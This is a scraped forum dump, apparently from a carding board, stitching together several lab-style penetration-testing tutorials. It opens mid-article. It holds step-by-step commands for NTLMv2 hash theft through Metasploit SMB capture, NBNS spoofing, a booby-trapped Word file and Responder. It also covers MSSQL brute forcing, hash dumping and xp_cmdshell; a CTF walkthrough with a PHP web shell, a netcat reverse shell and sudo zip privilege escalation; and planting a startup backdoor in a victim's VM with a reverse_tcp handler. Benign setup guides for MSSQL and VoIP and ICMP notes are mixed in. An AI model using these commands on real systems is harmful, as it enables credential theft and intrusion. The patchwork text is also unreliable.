3
4
use auxiliary/server/capture/smb
msf auxiliary(smb) > set srvhost 192.168.1.103
msf auxiliary(smb) > set johnpwfile /root/Desktop/
msf auxiliary(smb) > exploit
Simultaneously run NBNS_response module under capture smb module.
This module forges the NetBIOS Name Service (NBNS) responses. It will listen for NBNS requests sent to the local subnet’s broadcast address and spoof a response, redirecting the querying machine to an IP of the attacker’s choosing. Combined with auxiliary/server/capture/smb or auxiliary/server/capture/http_ntlm it is a highly effective means of collecting crackable hashes on common networks. This module must be run as root and will bind to udp/137 on all interfaces.
use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > set spoofip 192.168.1.103
msf auxiliary(nbns_response) > set interface eth0
msf auxiliary(nbns_response) >exploit
1
2
3
4
use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > set spoofip 192.168.1.103
msf auxiliary(nbns_response) > set interface eth0
msf auxiliary(nbns_response) >exploit
As result, this module will generate a fake window security prompt on the victim’s system to establish a connection with another system in order to access shared folders of that system.
[Image: 10.png?w=687&ssl=1]

We had use nmap UDP and TCP port scanning command for identifying open ports and protocol and from the given image you can port 137 is open for NetBIOS network service.
[Image: 11.1.png?w=687&ssl=1]

Now, the victim will try to access share folder, therefore, he will try of connecting with him (attacker) through his network IP, given below image is a proof to demonstrate that victim is connecting attacker’s IP: 192.168.1.103.
[Image: 11.2.png?w=687&ssl=1]

When the victim will try to access a shared folder, he will get trap into fake window security alert prompt, which will ask victims to enter his username and password for accessing shared folders.
[Image: 11.png?w=687&ssl=1]

Awesome!! Once again the attacker had captured NTMLv2 hash, from the given image you can see that here also the attacker has captured two things more:
Username: pentest
Machine name: Desktop-UKIQM20
[Image: 12.png?w=687&ssl=1]

Again use john the ripper to crack the ntlmv2 hash by executing given below command
john _netntlmv2
From given below image you can confirm we had successfully retrieved the password: 123 for user: pentest by cracking ntlmv2 hash.
[Image: 13.png?w=687&ssl=1]

Capture NTLMv2 hash through capture SMB & word UNC injector
This module modifies a .docx file that will, upon opening, submit stored netNTLM credentials to a remote host. It can also create an empty docx file. If emailing the receiver needs to put the document in editing mode before the remote server will be contacted. Preview and read-only mode do not work. Verified to work with Microsoft Word 2003, 2007, 2010, and 2013.
use auxiliary/docx/word_unc_injector
msf auxiliary(word_unc_injector) > set lhost 192.168.1.103
msf auxiliary(word_unc_injector) > exploit
1
2
3
use auxiliary/docx/word_unc_injector
msf auxiliary(word_unc_injector) > set lhost 192.168.1.103
msf auxiliary(word_unc_injector) > exploit
It has created an empty docx file under given path /root/.msf4/local/
[Image: 14.1.png?w=687&ssl=1]

Now send this msf.docx file to victims and again run capture smb module in Metasploit framework as done previously.
[Image: 14.2.png?w=687&ssl=1]

From given below image you can observe that in order to get the hashes the auxiliary/server/capture/smb module has been used.
[Image: 14.3.png?w=687&ssl=1]

As the victim will open msf.docx file, again the attacker had captured NTMLv2 hash on his system. The only difference between above two attacks and in this attack is that here we had only captured NTLMv2 hash.
[Image: 14.4.png?w=687&ssl=1]

Responder
NBT-NS/LLMNR Responder Created by Laurent Gaffie which is an LLMNR, NBT-NS and MDNS poisoner with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server that can perform above all attacks. It will answer to specific NBT-NS (NetBIOS Name Service) queries based on their name suffix. By default, the tool will only answer to File Server Service request, which is for SMB.
This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587 and Multicast UDP 5553.
Now open the new terminal and type following command to download it from GitHub:
git clone

[To see content please register here]

cf Responder
1
2
git clone

[To see content please register here]

cf Responder
[Image: 14.9.png?w=687&ssl=1]

Once it gets downloaded execute the following command to run the python script.
python Responder.py –I 192.168.1.103 -I eth0
1
python Responder.py –I 192.168.1.103 -I eth0
From the specified image you can perceive that all poisoners and server services get ON.
[Image: 14.png?w=687&ssl=1]

Now again victim will try to access share folder, therefore, he will try of connecting with him (attacker) through his network IP, given below image is a proof to display that victim is connecting attacker’s IP: 192.168.1.103.
[Image: 15.png?w=687&ssl=1]

When the victim will try to access the shared folder, he will get trap into fake network error alert prompt, as shown in the given below image.
[Image: 16.png?w=687&ssl=1]

Once again the attacker had successfully captured NTMLv2 hash, from the given image you can see that here also the attacker has captured two things more:
Username: pentest
Machine name: Desktop-UKIQM20
[Image: 17.1.png?w=687&ssl=1]

It will store captured NTLM hash in a text document under given /root/Desktop/Responder/logs.
[Image: 17.png?w=687&ssl=1]

[Guide] How to MSSQL Peneration Testing using Nmap

Posted by: NINZA - 05-14-2020, 05:16 AM - Forum: Carders Home - No Replies

Hello friends! Today we are going to perform Microsoft SQL penetration testing using NMAP scripts in order to retrieve basic information such as database name, usernames, tables name and etc from inside SQL server running on Windows operating system. In our previous article, we had set up Microsoft SQL server in Windows 10.
Requirement
Attacker: Kali Linux (NMAP)
Target: Windows 10 (MS SQL Server)
Let’s start!!
Scan port 1433
Open the terminal in Kali Linux and scan target IP for port 1433 using nmap command.
nmap -p 1433 192.168.1.104
1
nmap -p 1433 192.168.1.104
From given below image you can observe that port 1433 is open for MS-SQL service.
[Image: 1.png?w=687&ssl=1]
Enumerating version information
Given below command will attempt to determine configuration and version information for Microsoft SQL Server instances.
nmap -p 1433 --script ms-sql-info 192.168.1.104
1
nmap -p 1433 --script ms-sql-info 192.168.1.104
In specified below image you can observe the install version and details of MS-SQL server.
[Image: 2.png?w=687&ssl=1]
Brute Force Attacker
Given below command will attempt to determine username and password through brute force attack against MS-SQL by means of username and password dictionary.
nmap -p 1433 --script ms-sql-brute --script-args userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.104
1
nmap -p 1433 --script ms-sql-brute --script-args userdb=/root/Desktop/user.txt,passdb=/root/Desktop/pass.txt 192.168.1.104
In the specified image you can observe that we had successfully retrieve credential for two users:

Username: ignite and password:12345
Username: sa and password:admin123

Execute MS-SQL Query
Once you have retrieved the login credential use these credential in NMAP script to execute MS –SQL query. Given below will try to execute certain query “sp_database” against Microsoft SQL server.
Specified query “sp_databases” is part of record Stored Procedures and dump a list of database names from an instance of the SQL Server.
nmap -p 1433 --script ms-sql-query --script-args mssql.username=sa,mssql.password=admin123,ms-sql-query.query="sp_databases" 192.168.1.104
1
nmap -p 1433 --script ms-sql-query --script-args mssql.username=sa,mssql.password=admin123,ms-sql-query.query="sp_databases" 192.168.1.104
Hence as result, it has dumped two database names “ignite & master” whereas master is the default database name of MS_SQL server.
[Image: 4.png?w=687&ssl=1]

Check Microsoft SQL server configuration
The following command will attempt to describe the Microsoft SQL server configuration setting by passing login credential as an argument through nmap script.
nmap -p 1433 --script ms-sql-config --script-args mssql.username=sa,mssql.password=admin123 192.168.1.104
1
nmap -p 1433 --script ms-sql-config --script-args mssql.username=sa,mssql.password=admin123 192.168.1.104
Hence you can check configuration setting from given below image.
[Image: 5.png?w=687&ssl=1]

Obtain a list of tables
The following command will attempt to fetch a list of tables from inside Microsoft SQL server by passing login credential as an argument through nmap script.
nmap -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=admin123 192.168.1.104
1
nmap -p 1433 --script ms-sql-tables --script-args mssql.username=sa,mssql.password=admin123 192.168.1.104
Hence you can checklist of tables from given below image.
[Image: 6.png?w=687&ssl=1]

Enumerate NetBIOS information
Given below NMAP script will enumerate information from remote Microsoft SQL services with NTLM authentication enabled.
Sending an MS-TDS NTLM authentication request with an invalid domain and null credentials will cause the remote service to respond with an NTLMSSP message disclosing information to include NetBIOS, DNS, and OS build version.
nmap -p 1433 --script ms-sql-ntlm-info 192.168.1.104
1
nmap -p 1433 --script ms-sql-ntlm-info 192.168.1.104
Hence from given below image, you can read the NetBIOS information remote Microsoft SQL server.
[Image: 7.png?w=687&ssl=1]

Dump password hashes
The following command will dump the password hashes from an MS-SQL server in a format suitable for cracking by tools such as John-the-ripper. In order to do so, the user needs to have the appropriate DB privileges.
nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=admin123 192.168.1.104
1
nmap -p 1433 --script ms-sql-dump-hashes --script-args mssql.username=sa,mssql.password=admin123 192.168.1.104
From the given image you can observe that it has dumped the hash value of passwords of user: sa which we have enumerated above.
[Image: 8.png?w=687&ssl=1]

Identify the database owner
Following command will execute a query against Microsoft SQL Server instances for a list of databases a user has access to. In order to do so, the user needs to have the appropriate DB privileges. Therefore we have passes username and password as an argument through NMAP script.
nmap -p 1433 --script ms-sql-hashdbaccess --script-args mssql.username=sa,mssql.password=admin123 192.168.1.104
1
nmap -p 1433 --script ms-sql-hashdbaccess --script-args mssql.username=sa,mssql.password=admin123 192.168.1.104
In the specified image you can observe that it showing user sa is owner the database “ignite”.
[Image: 9.png?w=687&ssl=1]

Ms-SQL Allows XP_cmdshell option
The xp_cmdshell is a function of Microsoft SQL Server that allows system administrators to execute an operating system command. By default, the xp_cmdshell option is disabled.
From given below image you can see we had enabled the xp_cmdshell function by executing the following statement inside the master database.
EXEC sp_configure ‘xp_cmdshell’;
[Image: 11.png?w=687&ssl=1]

Now save the above configuration setting through the following statement:
RECONFIGURE;
[Image: 12.png?w=687&ssl=1]

Exploit XP_cmdshell Function
Now following NMAP script will attempt to run a command using the command shell of Microsoft SQL Server if found xp_cmdshell is enabled in the targeted server.
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=admin123,ms-sql-sql-xp-cmdshell.cmd="net user " 192.168.1.104
1
nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=admin123,ms-sql-sql-xp-cmdshell.cmd="net user " 192.168.1.104
From the given image you can confirm that we have executed OS command: net user as retrieving user account.
[Image: 13.png?w=687&ssl=1]

Blank password lead to unauthorized access
If the admin of Microsoft-SQL Server left the password Blank for login then the attacker can director login into the database server, from given below image you can see we are exploring the property of a user’s account “sa”.
[Image: 14.png?w=687&ssl=1]

Here kept “blank space” as the password for user “sa”. As we know by default sa is admin of MS-SQL server and now its password is blank space, therefore, chances of making unauthorized access into the server by the attacker will get increases.
[Image: 15.png?w=687&ssl=1]

Make unauthorized access into SQL server
Following NMAP script will try to authenticate to Microsoft SQL Servers using an empty password for the sysadmin (sa) account.
nmap -p 1433 --script ms-sql-empty-password 192.168.1.104
1
nmap -p 1433 --script ms-sql-empty-password 192.168.1.104
From given below image you can perceive we had made successfully login with user: sa and an empty password.
[Image: 17.png?w=687&ssl=1]

Today we are going to take another boot2root challenge known as Zico2 By “Rafael”, where we have to root the system to complete the challenge.
Download this VM here:

[To see content please register here]

Difficulty Level: Intermediate
Penetration Methodologies
Scanning

Netdiscover
Nmap

Enumeration

HTTP surfing
Directory enumeration

Exploiting

LFI
Obtaining reverse shell via netcat

Privilege Escalation

Login through SSH
Identify user’s credential
Abusing SUID binaries

Capture the flag
Walkthrough
Scanning
Let’s start off with finding IP using netdiscover and in this case, our IP is 192.168.1.108.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Time to scan the Target’s IP with Nmap. The scan result shows port 22(ssh), port 111(rpcbind) and port 80 are open.
nmap -A 192.168.1.108
1
nmap -A 192.168.1.108
[Image: 2.png?w=687&ssl=1]

Enumeration
Since port 80 is running HTTP, so our obvious choice is to browse Target’s IP in the browser.
[Image: 3.png?w=687&ssl=1]

We scroll through the page and click on “check them out” as can be seen in the following screenshot.
[Image: 4.png?w=687&ssl=1]

After clicking on the previous page it takes us here and where we notice the URL which was looking for tools.html page and thus it could be vulnerable to LFI, let’s verify it.
[Image: 5.png?w=687&ssl=1]

Here I tried to get LFI and succeeded with “/../../etc/passwd”. Now as we can read the content of passwd file we find a user ‘zico’ in there. Let’s just save this info for now.
[Image: 6.png?w=687&ssl=1]

While enumerating directories through dirb, found an interesting directory “/dbadmin”.
dirb

[To see content please register here]

1
dirb

[To see content please register here]

When we browse ‘/dbadmin’ directory, it displays a file named “test_db.php”.
[Image: 8.png?w=687&ssl=1]

Here, we can see a php database login page along with version name, so we can google things up or if we go by the name of “test_db” it hints at a default setup.
So tried ‘admin’ as password and it worked.
[Image: 9.png?w=687&ssl=1]

Exploiting
Next, we are using ‘Searchsploit’ and as the name indicates, it will search for all exploits and shellcodes for phpliteadmin(in this case). In the screenshot we can see that it is vulnerable to Remote php code execution and EDB-ID for the same is ‘24044’. Once we copy it to the current working directory (/root/24044.txt) and open it, we find guidelines to exploit the db.
searchsploit phpliteadmin
searchsploit -m 24044
cat 24044.txt
1
2
3
searchsploit phpliteadmin
searchsploit -m 24044
cat 24044.txt
[Image: 10.png?w=687&ssl=1]

Here we have followed the guidelines :
Step1: Created a database and named it ‘shell.php’ (we had to add the extension ‘.php’ with the database name)
[Image: 11.png?w=687&ssl=1]

Step 2: Created a table ‘shell’. Inside the table, we created a column ‘field’, selected the type of the column to be an ‘Integer’ and set the default value to “<?php echo system($_GET[“cmd”]); ?>”.
[Image: 13.png?w=687&ssl=1]

From the following screenshot, it can be seen that our php code script has been saved in the database.
[Image: 14.png?w=687&ssl=1]

Now we just have to run the file (the full path of the created php file is exposed)
So, to execute the file we can use the previously detected LFI vulnerability. And we have got lucky as we are inside ‘www-data’ .

[To see content please register here]

Time to set up a netcat listener in our local machine and run the python code inside the uploaded shell to get a reverse shell. (refer next screenshot for the listener)
Python code reference:

[To see content please register here]

= python shell
1

[To see content please register here]

= python shell
[Image: 16.png?w=687&ssl=1]

To simulate a proper shell with TTY we use python one-liner. Once at the shell, we find ‘wp-config.php’ file inside “/home/zico/wordpress”.
nc -lvp 1234
python -c 'import pty;pty.spawn("bin/bash")'
ls
cd /home
ls
cd zico
ls
cd wordpress
ls
1
2
3
4
5
6
7
8
9
nc -lvp 1234
python -c 'import pty;pty.spawn("bin/bash")'
ls
cd /home
ls
cd zico
ls
cd wordpress
ls
[Image: 17.png?w=687&ssl=1]

Inside the wp-config.php file, we discover a database user zico and its password.
cat wp-config.php
1
cat wp-config.php
[Image: 18.png?w=687&ssl=1]

Privilege Escalation
We use recently discovered credentials to login through ssh.
Then we use the sudo command to list all the commands the user can run with root privileges and we can see that the user can run both tar and zip commands as root without the need to enter any password.
So, now in the process of escalating the privileges from “zico” to “root”. At first, we create a file ‘raj’ than we perform three different tasks in a single line of code: first, we zip the file ‘raj’ second move it to /tmp/nisha.zip folder and lastly unzip it which will pop the root shell.
Finally, we get ‘flag.txt’ inside the root directory. Hence, we accomplished the task.
ssh [email protected]
sudo -l
touch raj
sudo zip /tmp/nisha.zip /home/zico/raj -T --unzip-command="sh -c /bin/bash"
cd /root
ls
cat flag.txt
1
2
3
4
5
6
7
ssh [email protected]
sudo -l
touch raj
sudo zip /tmp/nisha.zip /home/zico/raj -T --unzip-command="sh -c /bin/bash"
cd /root
ls
cat flag.txt
[Image: 19.png?w=687&ssl=1]

Here is the complete reference to exploit sudo rights:

[To see content please register here]

Today you will learn how to install and configure MS SQL server in Windows 10 operating system.
Requirement:

Download setup file ENU\x64\SQLEXPR_x64_ENU.exe
Download setup file ENU\x86\SQLManagementStudio_x86_ENU.exe from
[To see content please register here]
Download
[To see content please register here]
tool

Configure SQL express setup
Open the 1st download file for SQL server installation and run as administrator. Click on installation then go with New SQL server standalone installation.
[Image: 1.png?w=687&ssl=1]

To install sql server2012 follow given below three steps:

License terms
Product updates
Install setup files

Here enable the check box for “I accept the license terms” and click on next.
[Image: 2.png?w=687&ssl=1]

Enable the check box for “Include SQL server product updates” to enhance the SQL server security and performance. It found 26 MB setup online which will get installed when you will click on next.
[Image: 3.png?w=687&ssl=1]

Now it will start installing SQL server setup file on your system which takes some time. As soon as setup gets installed you will get new window screen of feature selection for your SQL server.
[Image: 4.png?w=687&ssl=1]

Feature Selection
Now select the features you want to install from the given image you can see I had enabled check box for following features.

Database Engine service
SQL Server Replication
SQL Client Connective SDK

Click on next.
[Image: 5.png?w=687&ssl=1]

Instance Configuration
Specify the name and instance ID for instance of SQL server. The directory structure, registry structure, and service names all replicate the instance name and a specific instance ID. Instance ID becomes part of the installation path.

Enter SQLExpress in the text filed for Name Instance
Enter SQLExpress in the text filed for Instance ID

After then click on next
You can select Default Instance also if an instance of SQL Server is not installed previously. It does not need a user to give the name of the instance to create a connection.
[Image: 6.png?w=687&ssl=1]

Database Engine Configuration
Specify Database Engine authentication for its security mode
By default, sa is the administrator of MS SQL
Under the panel of authentication mode:

Click on mixed mode which is a combination of both type authentication SQL server and Windows.
Type your password and confirm the password for administrator account.

From the given image you can observe that selected user will be part of administrator account of SQL server who has the unrestricted access over database engine.
After then click on next and next.
[Image: 7.png?w=687&ssl=1]

Your SQL server 2012 installation completed successfully, here you can check the status for installed features.
[Image: 9.png?w=687&ssl=1]

Now open the SQL server configuration manager where you will see left and right panel.
Click on the protocol for SQLExpress in the left panel and then after select protocol name “TCP/IP” in the right panel.
[Image: 10.png?w=687&ssl=1]

Under IP Addresses specify TCP port 1433 tab, Click on Apply and Enable the TCP/IP.
[Image: 12.png?w=687&ssl=1]

Configure SQL Management Studio setup
Now open 2nd downloaded application for SQL server management setup and add a new feature in it.
[Image: 13.png?w=687&ssl=1]

No updates for SQL server 2012 click on next.
[Image: 14.png?w=687&ssl=1]

Installation type
Since we have already created instance “SQLExpress” now we can add featured in SQLExpress instance of SQL server 2012.
From given below image you can observe the table for installed instance. Click on next
[Image: 15.png?w=687&ssl=1]

Feature selection
For installation of the instance, the feature enables the checkbox for Management tool basic as shared featured then click on next and next.
[Image: 16.png?w=687&ssl=1]

Management tool basic installation completed successfully, here you can check the status for installed features. Click on installation then go with New SQL server standalone installation.
[Image: 18.png?w=687&ssl=1]

Now login into SQL Server using admin credential and click on connect.
[Image: 19.png?w=687&ssl=1]

Once you are login into SQL server then Explore security folder and create a new login account for other users.
[Image: 20.png?w=687&ssl=1]

Enter the user name as I had given “ignite” and set a password by choosing SQL server authentication for this user.
From the given image you can observe that master is the default database.
[Image: 21.png?w=687&ssl=1]

Connect to server
Run heidisql tool to connect with MS SQL Server through Ignite user as given below:
Network type: TCP/IP
Hostname /IP: 192.168.1.104
User: ignite
Password: 123456
Port: 1433
1
2
3
4
Hostname /IP: 192.168.1.104
User: ignite
Password: 123456
Port: 1433
HeidiSQL is a useful and reliable tool designed for web developers using the popular MySQL server, Microsoft SQL databases, and PostgreSQL. It enables you to browse and edit data, create and edit tables, views, procedures, triggers, and scheduled events.
Now click on open
[Image: 22.png?w=687&ssl=1]

Great!! We have successfully access the database system of the MSSQL server. You can modify or create a new table or new database and much more things.
[Image: 23.png?w=687&ssl=1]

Today you will learn How to exploit any Operation System running inside a virtual machine.
Requirements

Attacker: Kali Linux
Target: VM image windows server 2012

First, the attacker needs to exploit the actual operating system of the victim PC and attain the meterpreter session with admin privileges.
From the given image you can perceive I have seized a windows 10 meterpreter session and also gained its admin privileges.
meterpreter > sysinfo
1
meterpreter > sysinfo
[Image: 1.png?w=687&ssl=1]

When you install any operating system in your VMware workstation, all of its hardware and network setting get stored as a .vmx file in the actual operating system in order to create a new virtual image.
Type following for making the search of .vmx file stored in it
meterpreter > search –f *.vmx –r
1
meterpreter > search –f *.vmx –r
From the given image you can perceive that it has dumped all location where .vmx files are stored.
[Image: 2.png?w=687&ssl=1]

Using cat command you can read the content of the file as these file simple text document which contains VMware setting information.
meterpreter > cat "d:/VM/windows-server-2012/windows Server 2012/windows Server 2012.vmx"
1
meterpreter > cat "d:/VM/windows-server-2012/windows Server 2012/windows Server 2012.vmx"
[Image: 3.png?w=687&ssl=1]

Here from given below image, you can read the details of this file which is describing network and hardware setting.
[Image: 4.png?w=687&ssl=1]

This module mounts a .vmdk file (Virtual Machine Disk) on a drive provided by the user by taking advantage of the vstor2 device driver (VMware). First, it executes the binary vixDiskMountServer.exe to access the device and then it sends certain control code via DeviceIoControl to mount it. Use the write mode with extreme care. You should only open a disk file in writable mode if you know for sure that no snapshots or clones are linked from the file.
use post/windows/manage/vmdk_mount
msf post(vmdk_mount) > set DEL_LCK true
msf post(vmdk_mount) > set READ_MODE false
msf post(vmdk_mount) > set session 2
msf post(vmdk_mount) > set VMDK_PATH "d:/VM/windows-server-2012/windows Server 2012/windows Server 2012.vmx"
msf post(vmdk_mount) > run
1
2
3
4
5
6
use post/windows/manage/vmdk_mount
msf post(vmdk_mount) > set DEL_LCK true
msf post(vmdk_mount) > set READ_MODE false
msf post(vmdk_mount) > set session 2
msf post(vmdk_mount) > set VMDK_PATH "d:/VM/windows-server-2012/windows Server 2012/windows Server 2012.vmx"
msf post(vmdk_mount) > run
Great!! We have successfully mount the vmdk file of Windows Server 2012.
[Image: 5.png?w=687&ssl=1]

meterpreter > show_mount
1
meterpreter > show_mount
Now from given below image, you can read the information of each drive.
[Image: 6.png?w=687&ssl=1]

Now using given below command I will upload an exe backdoor in L: drive which will give us reverse connection of windows server 2012 when it will be running inside VM workstation.
meterpreter > upload /root/Desktop/abc.exe "L:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup"
1
meterpreter > upload /root/Desktop/abc.exe "L:/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup"
[Image: 7.png?w=687&ssl=1]

use exploit/multi/handler
msf exploit(handler) >set payload windows/meterpreter/reverse_tcp
msf exploit(handler) >set lhost 192.168.1.113
msf exploit(handler) >set lport 4455
msf exploit(handler) >run
1
2
3
4
5
use exploit/multi/handler
msf exploit(handler) >set payload windows/meterpreter/reverse_tcp
msf exploit(handler) >set lhost 192.168.1.113
msf exploit(handler) >set lport 4455
msf exploit(handler) >run
Awesome!! We have successfully exploited Windows Server 2012 virtual machine and gained its meterpreter session.
meterpreter > sysinfo
1
meterpreter > sysinfo
[Image: 8.png?w=687&ssl=1]

Source:

[To see content please register here]

[Guide] How to Lab Setup for VOIP Penetration Testing

Posted by: NINZA - 05-14-2020, 05:08 AM - Forum: Carders Home - No Replies

Hello friends! Today you will learn how to set up a VOIP server in a virtual machine using tribox 2.8.0.4 ISO image for making phone calls and sending text messages in the local network.
What is VOIP?

Voice over Internet Protocol (also a voice over IP, VoIP or IP telephony) is a methodology and group of technologies for the delivery of voice communications and multimedia sessions over Internet Protocol (IP) networks, such as the Internet.

[To see content please register here]

Let’s start!!
Open VMware and select the option “Create a New Virtual Machine”. This will open a Window, on it click on :

I will install the operating system later
Then click on Next.
[Image: 2.png?w=687&ssl=1]

Now select the 2nd option “Linux” for the guest operating system and select version “Ubuntu”. Then click on next and next as per your requirements.
[Image: 3.png?w=687&ssl=1]

Explore the Custom Hardware Settings for making the following changes:
Click on CD/DVD to browse ISO file “tribox 2.8.0.4”.
Select the Bridged Connection and Enable the Replicate Connection checkbox in the Network Adapter setting.
Then click on Finish.
[Image: 8.png?w=687&ssl=1]

Trixbox is one of the most popular Asterisk-based distribution. Trixbox allows even the novice user to quickly set up a voice over IP phone system and other necessary applications such as MYSQL and more. Trixbox can be configured to handle a single phone line for a home user, several lines for a small office, or several T1s for a million minute a month call center.
It will start rebooting the VM automatically, now for trixbox CE installation follow given below steps:
[Image: 9.png?w=687&ssl=1]

A dialog box will appear for selecting option Keyboard Type and choose option “US” as given in below image. Then click on the OK tab.
[Image: 10.png?w=687&ssl=1]

Another dialog box will ask to choose a time zone, select your preferred time zone. Here I am selecting Asia/ Kolkata Then click on the OK tab.
[Image: 11.png?w=687&ssl=1]

Now enter the Password you want to give for the root user. I had given tribox as a password. Again type confirm password and then click on the OK tab.
[Image: 12.png?w=687&ssl=1]

Now the installation process will start automatically. Be patient as it will take some time. Do not interrupt installation until it completes.

[Image: 13.png?w=687&ssl=1]

Once installation completes, it will ask for login. Type username: root and password: tribox (or whatever you entered earlier)

[Image: 14.png?w=687&ssl=1]

Check network interface using the “ifconfig” command, From here I came to know the VM IP: 192.168.1.218
[Image: 15.png?w=687&ssl=1]

Now open this IP: 192.168.1.218 in Web Browser. Here through Tribox GUI, we are going to create some user accounts by assigning them extension numbers. Here each user will receive 8 digit number for land-line from the service providers.
[Image: 16.png?w=687&ssl=1]

By default tribox, GUI open with user mode and for creating extension number we need to switch into Admin Mode.
Click on Switch option from user mode given on top of the right corner.
[Image: 17.png?w=687&ssl=1]

The authentication is required for login into Admin Mode of tribox.
Now enter the default credentials:

Username: maint
Password: password

You will get a pop-up message for tribox registration, Close this message.
[Image: 19.png?w=687&ssl=1]

At tribox platform you will see server status, now click on PBX option and select PBX setting option from the given menu.
[Image: 21.png?w=687&ssl=1]

Under setup list of Admin select Extensions option as a basic setup.
[Image: 22.png?w=687&ssl=1]

Select device
Now follow the given steps for creating an extension inside the server:
Device: Generic SIP Device
Click on Submit
[Image: 23.png?w=687&ssl=1]

Add extension
User Extension: 1234567 (any 7/8 digit number)
Display Name: ignite (name of user/ customer you want to assign this number)
[Image: 24.png?w=687&ssl=1]

Device options
Secret: 123
dtmfmode: rfc2833
[Image: 25.png?w=687&ssl=1]

Once you have entered the information for creating a new extension click on Submit.
[Image: 26.png?w=687&ssl=1]

Similarly, create one more extension so then we can check communication between both extensions.
From the given image you can see now we had configured two extension 1st for ignite [1234567] and 2nd for raj[12345678].
We had created two extensions one as the caller and other as a receiver. You can create multiple extension as per your requirement.
[Image: 27.png?w=687&ssl=1]

Now click on the orange color tile for apply configuration changes to put them into effect
A pop will open here select continue with reload
Now, this is all about server installation and configuration of extension inside it.
[Image: 28.2.png?w=687&ssl=1]

Now download ZOIPER application in your system
Zoiper is a VoIP softphone that lets you send messages, make voice and video calls with your friends, family, colleagues and business partners.
Once it is downloaded it will look like as given below image, now go with a Setting option for configuration of an account which will be able to make a call or receive call from another user.
[Image: 28.png?w=687&ssl=1]

Select account type SIP and click on next.
[Image: 29.png?w=687&ssl=1]

If you remember in tribox GUI we had added an extension 1234567 for ignite now enter that information in account wizard in order to save it as a new contact.
Now enter user number with server IP as given below
[EMAIL=The contents of this section are hidden for your group]The contents of this section are hidden for your group[/EMAIL]
Register or Login
Enter the password for this account.
Click on next.
[Image: 30.png?w=687&ssl=1]

It will auto-detect the account name as shown in the given image. Then click on next.
[Image: 31.png?w=687&ssl=1]

Your one account has been created in the accounted list. Now ignite will be able to make calls or receive calls from another user.
[Image: 32.png?w=687&ssl=1]

We have already created a ignite account in the system through zoiper for making and receiving calls. Now we need to install zoiper on another device for other users also, who will be able to make or receive a call from ignite.
Download zoiper from Google play stores on your android phone. Run the application after installation.
[Image: 33.png?w=687&ssl=1]

Click on config icon for configuration of a new account in your phone as shown in the given image and select Accounts option from the given list of configuration settings.
[Image: 34.png?w=687&ssl=1]

Then a new window will open click on add account. A dialog box will appear for account setup click on YES.
[Image: 35.png?w=687&ssl=1]

Now again a new dialog box will pop up the select manual configuration for account setup.
[Image: 36.png?w=687&ssl=1]

Go for SIP as account type you have chosen.
[Image: 37.png?w=687&ssl=1]

Now enter the following information for SIP account setting:

Account name: raj
Host: 192.168.1.218
Username: 12345678
Password: 123

Now click on Save.
[Image: 38.png?w=687&ssl=1]

You can see from the given image that account for raj is ready.
Hence we have set up two accounts in zoiper one will act as caller let say raj is caller making call to ignite through his phone and ignite will be a receiver and get an incoming call on the system from raj.
[Image: 39.png?w=687&ssl=1]

As you know we had configured two extensions one for ignite another for raj. Now we are going to test this VOIP setup by making calls from raj.
[Image: 40.png?w=687&ssl=1]

Raj had made the call to ignite by dialing his number 1234567 and when you will perform this you will hear the outgoing bell from your phone.
[Image: 41.png?w=687&ssl=1]

Ignite will get an incoming call on the system as shown in the given image. Click on an answer for accepting a call from raj.
[Image: 42.png?w=687&ssl=1]

From given screenshot you can see that the call is connected and raj and ignite is having a conversation over VOIP call.
[Image: 43.png?w=687&ssl=1]

Great!!! Hence in this way, you can configure your VOIP server for local network and can communicate with multiple users by making calls or chat.

From Wikipedia
The Internet Control Message Protocol (ICMP) is a supporting protocol in the Internet protocol suite. It is used by network devices, including routers, to send error messages and operational information which indicates that a requested service is not available or that a host or router could not be reached.
It is layer 3 i.e. network layer protocol used by the ping command for sending a message through ICMP payload which is encapsulated with IP Header Packet. According to MTU the size of the ICMP packet cannot be greater than 1500 bytes.
ICMP packet at Network layer
IP header
ICMP header
ICMP payload size
MTU (1500)
20 bytes
8 bytes
1472 bytes (maximum)
20 + 8 + 1472 = 1500
[Image: 0.1.png?w=687&ssl=1]

ICMP packet at Data Link layer
Ethernet header
IP header
ICMP header
ICMP payload size
MTU (1514)
14
20 bytes
8 bytes
1472 bytes (maximum)
14 + 20 + 8 + 1472 = 1514
ICMP Message code & Packet description with Wireshark
ICMP message contains two types of codes i.e. query and error.
Query: The query messages are the information we get from a router or another destination host.
For example, given below message types are some ICMP query codes:

Type 0 = Echo Reply
Type 8 = Echo Request
Type 9 = Router Advertisement
Type 10 = Router Solicitation
Type 13 = Timestamp Request
Type 14 = Timestamp Reply

A ping command sends an ICMP echo request to the target host. The target host responds with an echo Reply which means the target host is alive.
[Image: 0.png?w=687&ssl=1]

Here we are going to test how ping command helps in identifying an alive host by Pinging host IP.
ping 192.168.0.105
1
ping 192.168.0.105
From the given below image you can see a reply from the host; now notice a few more things as given below:

The default size of payload sent by source machine is 32 bytes (request)
The same size of payload received by source machine is 32 bytes from Destination machine (reply)
TTL = 128 which means host machine is windows system.
Total packets are 8, 4 packets of the request and 4 of reply.

Look over the sequence of packet transfer between source and destination captured through Wireshark.
Total numbers of packet captured are 8, 4 for request and 4 for reply between the source and destination machine.
The 1st packet is sent by source machine is ICMP echo request and if you look by the given below image, you will observe highlighted text is showing ICMP query code: type 8 echo ping request.
Length of frame is 74 now as explained in the below table:
Ethernet header
IP header
ICMP header
ICMP payload size
MTU (1514)
14
20 bytes
8 bytes
32 (default)
14+20+8+32=74
[Image: 2.png?w=687&ssl=1]

Similarly given below image is showing details of 2nd packet i.e. Echo reply, you can observe that the highlighted text is showing ICMP query code: type 0 echo ping reply.
[Image: 3.png?w=687&ssl=1]

